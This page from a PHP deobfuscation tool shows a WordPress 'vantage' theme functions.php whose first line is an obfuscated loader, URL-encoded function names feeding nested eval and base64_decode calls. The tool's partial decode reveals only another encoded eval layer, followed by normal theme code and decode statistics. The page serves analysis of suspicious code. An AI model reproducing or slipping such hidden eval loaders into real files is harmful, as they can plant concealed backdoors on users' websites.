Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72..
Decoded Output download
$O0O000="PxtDQqfzYahmwCvZNuBjLXsMUkIKJbHEWOgFyVASGiRnlTdcropeNFSBHDJkxUbKYCsEGXtfjIwqnhpAzgRlWVveoTymauLdiOrcPZQMNB9YURyGCuLKrWSFpB0vHCLJL0TnWorKrWSFz107paiKACLKrWSFpB09pCr0zoi7EWGZgobyEIEbgCvhI1tNn1Lgz2E1x2S5g3n0qkpFz10QAOSiMai0V30GCKTfUa8vxItQnKTFrWTkrCvQVY0AEdTXx3LQg24vxItQnKTFrWTkrCvQMY0ACWiKAlyhI0reTewdg3ydImy9Nmydx2bix2wdAH0ACHi7BHZzCmtoEIL1cK4vpKGsgK5ix3LDxK1srKTQc29PpfwGCvhzpaT4UIHZAOwGCvhvpCyvJH0AJH0ANk4=";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
Did this file decode correctly?
Original Code
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iUHh0RFFxZnpZYWhtd0N2Wk51QmpMWHNNVWtJS0piSEVXT2dGeVZBU0dpUm5sVGRjcm9wZU5GU0JIREpreFViS1lDc0VHWHRmakl3cW5ocEF6Z1JsV1Z2ZW9UeW1hdUxkaU9yY1BaUU1OQjlZVVJ5R0N1TEtyV1NGcEIwdkhDTEpMMFRuV29yS3JXU0Z6MTA3cGFpS0FDTEtyV1NGcEIwOXBDcjB6b2k3RVdHWmdvYnlFSUViZ0N2aEkxdE5uMUxnejJFMXgyUzVnM24wcWtwRnoxMFFBT1NpTWFpMFYzMEdDS1RmVWE4dnhJdFFuS1RGcldUa3JDdlFWWTBBRWRUWHgzTFFnMjR2eEl0UW5LVEZyV1RrckN2UU1ZMEFDV2lLQWx5aEkwcmVUZXdkZzN5ZElteTlObXlkeDJiaXgyd2RBSDBBQ0hpN0JIWnpDbXRvRUlMMWNLNHZwS0dzZ0s1aXgzTER4SzFzcktUUWMyOVBwZndHQ3ZoenBhVDRVSUhaQU93R0N2aHZwQ3l2SkgwQUpIMEFOazQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
/**
* vantage functions and definitions
*
* @package vantage
* @since vantage 1.0
* @license GPL 2.0
*/
define( 'SITEORIGIN_THEME_VERSION' , '1.2.3' );
define( 'SITEORIGIN_THEME_ENDPOINT' , 'http://updates.siteorigin.com' );
if( file_exists( get_template_directory() . '/premium/functions.php' ) ){
include get_template_directory() . '/premium/functions.php';
}
else {
include get_template_directory() . '/upgrade/upgrade.php';
}
// Include all the SiteOrigin extras
include get_template_directory() . '/extras/settings/settings.php';
include get_template_directory() . '/extras/premium/premium.php';
include get_template_directory() . '/extras/update/update.php';
include get_template_directory() . '/extras/adminbar/adminbar.php';
include get_template_directory() . '/extras/plugin-activation/plugin-activation.php';
include get_template_directory() . '/extras/metaslider/metaslider.php';
// Load the theme specific files
include get_template_directory() . '/inc/panels.php';
include get_template_directory() . '/inc/settings.php';
include get_template_directory() . '/inc/extras.php';
include get_template_directory() . '/inc/template-tags.php';
include get_template_directory() . '/inc/gallery.php';
include get_template_directory() . '/inc/metaslider.php';
include get_template_directory() . '/inc/widgets.php';
include get_template_directory() . '/inc/menu.php';
include get_template_directory() . '/inc/woocommerce.php';
include get_template_directory() . '/tour/tour.php';
if ( ! function_exists( 'vantage_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which runs
* before the init hook. The init hook is too late for some features, such as indicating
* support post thumbnails.
*
* @since vantage 1.0
*/
function vantage_setup() {
// Initialize SiteOrigin settings
siteorigin_settings_init();
// Make the theme translatable
load_theme_textdomain( 'vantage', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );
// Enable support for Post Thumbnails
add_theme_support( 'post-thumbnails' );
add_theme_support( 'siteorigin-panels', array(
'home-page' => true,
'margin-bottom' => 35,
'home-page-default' => 'default-home',
'home-demo-template' => 'home-panels.php',
'responsive' => siteorigin_setting( 'layout_responsive' ),
) );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'primary' => __( 'Primary Menu', 'vantage' ),
) );
// Enable support for Post Formats
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
// We support WooCommerce
add_theme_support('woocommerce');
// define('WOOCOMMERCE_USE_CSS', false);
set_post_thumbnail_size(720, 380, true);
add_image_size('vantage-thumbnail-no-sidebar', 1080, 380, true);
add_image_size('vantage-slide', 960, 480, true);
add_image_size('vantage-carousel', 272, 182, true);
add_image_size('vantage-grid-loop', 436, 272, true);
if( !defined('SITEORIGIN_PANELS_VERSION') && !siteorigin_plugin_activation_is_activating('siteorigin-panels') ){
// Only include panels lite if the panels plugin doesn't exist
include get_template_directory() . '/extras/panels-lite/panels-lite.php';
}
add_theme_support('siteorigin-premium-teaser', array(
'customizer' => true,
'settings' => true,
));
global $content_width, $vantage_site_width;
if ( ! isset( $content_width ) ) $content_width = 720; /* pixels */
if ( ! isset( $vantage_site_width ) ) {
$vantage_site_width = siteorigin_setting('layout_bound') == 'full' ? 1080 : 1010;
}
}
endif; // vantage_setup
add_action( 'after_setup_theme', 'vantage_setup' );
/**
* Setup the WordPress core custom background feature.
*
* @since vantage 1.0
*/
function vantage_register_custom_background() {
if(siteorigin_setting('layout_bound') == 'boxed') {
$args = array(
'default-color' => 'e8e8e8',
'default-image' => '',
);
$args = apply_filters( 'vantage_custom_background_args', $args );
add_theme_support( 'custom-background', $args );
}
}
add_action( 'after_setup_theme', 'vantage_register_custom_background' );
/**
* Register widgetized area and update sidebar with default widgets
*
* @since vantage 1.0
*/
function vantage_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'vantage' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Footer', 'vantage' ),
'id' => 'sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Header', 'vantage' ),
'id' => 'sidebar-header',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'vantage_widgets_init' );
function vantage_print_styles(){
if( !siteorigin_setting('layout_responsive') ) return;
// Create the footer widget CSS
$sidebars_widgets = wp_get_sidebars_widgets();
$count = isset($sidebars_widgets['sidebar-footer']) ? count($sidebars_widgets['sidebar-footer']) : 1;
$count = max($count,1);
?>
<style type="text/css" media="screen">
#footer-widgets .widget { width: <?php echo round(100/$count,3) . '%' ?>; }
@media screen and (max-width: 640px) {
#footer-widgets .widget { width: auto; float: none; }
}
</style>
<?php
}
add_action('wp_head', 'vantage_print_styles', 11);
/**
* Register all the bundled scripts
*/
function vantage_register_scripts(){
wp_register_script( 'flexslider' , get_template_directory_uri() . '/js/jquery.flexslider.min.js' , array('jquery'), '2.1' );
wp_register_script( 'fitvids' , get_template_directory_uri() . '/js/jquery.fitvids.min.js' , array('jquery'), '1.0' );
}
add_action( 'wp_enqueue_scripts', 'vantage_register_scripts' , 5);
/**
* Enqueue scripts and styles
*/
function vantage_scripts() {
wp_enqueue_style( 'vantage-style', get_stylesheet_uri(), array(), SITEORIGIN_THEME_VERSION );
wp_enqueue_script( 'vantage-main' , get_template_directory_uri() . '/js/jquery.theme-main.min.js', array('jquery', 'flexslider', 'fitvids'), SITEORIGIN_THEME_VERSION );
wp_enqueue_style( 'vantage-fontawesome', get_template_directory_uri().'/fontawesome/css/font-awesome.css', array(), '3.2.1' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.min.js', array( 'jquery' ), '20120202' );
}
}
add_action( 'wp_enqueue_scripts', 'vantage_scripts' );
/**
* Enqueue any webfonts we need
*/
function vantage_web_fonts(){
if( !siteorigin_setting('logo_image') ) {
wp_enqueue_style('vantage-google-webfont-roboto', 'http://fonts.googleapis.com/css?family=Roboto:300');
}
}
add_action( 'wp_enqueue_scripts', 'vantage_scripts' );
/**
* Add custom body classes.
*
* @param $classes
*
* @return array
* @package vantage
* @since 1.0
*/
function vantage_body_class($classes){
if( siteorigin_setting('layout_responsive') ) $classes[] = 'responsive';
$classes[] = 'layout-'.siteorigin_setting('layout_bound');
$classes[] = 'no-js';
if( !is_active_sidebar('sidebar-1') ) {
$classes[] = 'no-sidebar';
}
if( wp_is_mobile() ) {
$classes[] = 'mobile-device';
}
if(siteorigin_setting('navigation_menu_search')) {
$classes[] = 'has-menu-search';
}
return $classes;
}
add_filter('body_class', 'vantage_body_class');
function vantage_wp_head(){
?>
<!--[if lt IE 9]>
<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script>
<![endif]-->
<!--[if (gte IE 6)&(lte IE 8)]>
<script type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/js/selectivizr.js"></script>
<![endif]-->
<?php
}
add_action('wp_head', 'vantage_wp_head');
/**
* Display some text in the text area.
*/
function vantage_top_text_area(){
echo wp_kses_post( siteorigin_setting('logo_header_text') );
}
add_action('vantage_support_text', 'vantage_top_text_area');
/**
* Display the scroll to top link.
*/
function vantage_back_to_top() {
if( !siteorigin_setting('navigation_display_scroll_to_top') ) return;
?><a href="#" id="scroll-to-top" title="<?php esc_attr_e('Back To Top', 'vantage') ?>"><span class="vantage-icon-arrow-up"></span></a><?php
}
add_action('wp_footer', 'vantage_back_to_top');
/**
* @return mixed
*/
function vantage_get_query_variables(){
global $wp_query;
$vars = $wp_query->query_vars;
foreach($vars as $k => $v) {
if(empty($vars[$k])) unset ($vars[$k]);
}
unset($vars['update_post_term_cache']);
unset($vars['update_post_meta_cache']);
unset($vars['cache_results']);
unset($vars['comments_per_page']);
return $vars;
}
/**
* Render the slider.
*/
function vantage_render_slider(){
if( is_front_page() && siteorigin_setting('home_slider') != 'none' ) {
$settings_slider = siteorigin_setting('home_slider');
if(!empty($settings_slider)) {
$slider = $settings_slider;
}
}
if( is_page() && get_post_meta(get_the_ID(), 'vantage_metaslider_slider', true) != 'none' ) {
$page_slider = get_post_meta(get_the_ID(), 'vantage_metaslider_slider', true);
if( !empty($page_slider) ) {
$slider = $page_slider;
}
}
if( empty($slider) ) return;
global $vantage_is_main_slider;
$vantage_is_main_slider = true;
?><div id="main-slider" <?php if( siteorigin_setting('home_slider_stretch') ) echo 'data-stretch="true"' ?>><?php
if($slider == 'demo') get_template_part('slider/demo');
elseif( substr($slider, 0, 5) == 'meta:' ) {
list($null, $slider_id) = explode(':', $slider);
$slider_id = intval($slider_id);
echo do_shortcode("[metaslider id=" . $slider_id . "]");
}
?></div><?php
$vantage_is_main_slider = false;
}
function vantage_post_class_filter($classes){
$classes[] = 'post';
if( has_post_thumbnail() && !is_singular() ) {
$classes[] = 'post-with-thumbnail';
$classes[] = 'post-with-thumbnail-' . siteorigin_setting('blog_featured_image_type');
}
$classes = array_unique($classes);
return $classes;
}
add_filter('post_class', 'vantage_post_class_filter');
/**
* Filter the posted on parts to remove the ones disabled in settings.
*
* @param $parts
* @return mixed
*/
function vantage_filter_vantage_post_on_parts($parts){
if(!siteorigin_setting('blog_post_author')) $parts['by'] = '';
if(!siteorigin_setting('blog_post_date')) $parts['on'] = '';
return $parts;
}
add_filter('vantage_post_on_parts', 'vantage_filter_vantage_post_on_parts');
/**
* Get the site width.
*
* @return int The side width in pixels.
*/
function vantage_get_site_width(){
return apply_filters('vantage_site_width', !empty($GLOBALS['vantage_site_width']) ? $GLOBALS['vantage_site_width'] : 1080);
}
/**
* Add the responsive header
*/
function vantage_responsive_header(){
if( siteorigin_setting('layout_responsive') ) {
?><meta name="viewport" content="width=device-width, initial-scale=1" /><?php
}
else {
?><meta name="viewport" content="width=1280" /><?php
}
}
add_action('wp_head', 'vantage_responsive_header');
Function Calls
| substr | 1 |
| urldecode | 1 |
| base64_decode | 1 |
Stats
| MD5 | 1e00bbeac62241f41bc16a06f57c25c2 |
| Eval Count | 1 |
| Decode Time | 150 ms |